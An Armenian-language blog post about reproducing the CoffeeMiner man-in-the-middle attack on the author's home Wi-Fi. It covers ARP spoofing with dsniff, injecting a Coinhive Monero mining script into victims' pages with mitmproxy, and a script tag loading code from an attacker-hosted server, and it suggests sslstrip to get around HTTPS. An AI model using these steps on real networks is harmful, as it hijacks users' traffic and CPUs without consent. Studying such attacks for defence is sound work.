Մայնինգի ոլորտում աշխարհում կատարվող շարժը ուսումնասիրելու ժամանակ հանդիպեցի մի հետաքրքիր կոնցեպտի, որը ուներ CoffeeMiner անուն։ Դե գիշերը չեմ քնել ու կոֆե էի ուզում, էս անունը միանգամից գրավեց։
CoffeeMiner-ը python-ով գրված փոքր սկրիպտ է, որը իրականացնում է man-in-the-middle հարձակում։ Գաղափարը հետևյալն է։ CoffeeMiner-ը spoofing է անում ARP (Address Resolution Protocol) պրոտոկոլը, որ ստանա wifi ցանցը օգտագործողի թրաֆիկը չգաղտնագրված տեսքով։ Նախապես որոշված HTML կոդը ինյեկցիա է անում թրաֆիկի մեջ հայտնի mitmproxy գործիքի օգնությամբ։ Արդյունքում թրաֆիկի մեջ ներարկում ջավասկրիպտ կոդ, որը օգտագործում է wifi ցանցից օգտվողների համակարգիչների պրոցեսորները մայնինգ անելու համար։
Որոշեցի իմ տան ցանցի վրա կրկնել հարձակումը զուտ հետազոտական նպատակներով։ Վերցրեցի Coinhive-ի սարքած JS mining սկրիպտը, որը աշխատում է բրաուզերում ու մայնինգ է անում Monero կրիպտոարժույթը։
Համառոտ պատկերը հետևյալն է։

Նախ պետք էր կազմակերպել MITM (Man-In-The-Middle) հարձակում, որ խցկենք ջավասկրիպտ կոդը html էջերում։
Սովորական դեպքում իմ ցանցի պատկերը էսպիսինն է։

Նախ փոխում ենք թիրախի ցանցի կարգավորումները։

Ապա հարձակվողի։

Եվ վերջապես router/gateway

Արդյունքում իմ ցանցը դառնում է՝

ARPspoofing հարձակման համար օգտագործում եմ dnsniff գրադարանը։
![]()
Հետո պետք է մեր մայնինգի կոդը խցկենք թիրախի HTML էջերում։ Օգտագործում եմ mitmproxy գործիքը, որը թույլ է տալիս անալիզ անել հոսթի թրաֆիկը ու փոխել։ Ավելացնում եմ փոքր JS կոդ։
<script src=”http://httpserverIP:8000/script.js” type=”text/javascript”></script>
Վերջապես ինձ պետք էր HTTP sever, որտեղ deploy կանեմ սկրիպտերը։ Python-ի հասարակ http.server գրադարանը խնդիրը կլուծի։

Սկսենք հարձակումը։
Առաջին հերթին մեզ պետք է կարգավորել ip_forwarding և IPTABLES, որպեսզի հարձակվողի համակարգչում ունենանք proxy։
![]()
ARPspoofing իրականցնելու համար ունենք victims.txt ֆայլը, որտեղ գրված են թիրախների IP հասցեները։ Գրում ենք python կոդ, որը հերթով կարդում է IP հասցեները ֆայլից, տալիս ենք նաև gateway֊ը command line args-ով։

Դե ARPspoofing-ի հաջող իրականացման դեպքում պետք է միացնել HTTP Server-ը
![]()
Վերջում ամենը հավաքում ենք մի տեղ անունը դնում ենք coffeeminer.py և pyton-ին խնդրում ենք աշխատեցնել դա՝
![]()
Ու սուս ու փուս գնում ենք մեր կոֆե խմելու ^_^
Սա կարելի է հեշտությամբ ավտոմատացնել։ CoffeeMiner-ը չի աշխատում https֊ով, բայց կարելի է շրջանցել խնդրը sslstip֊ի օգնությամբ: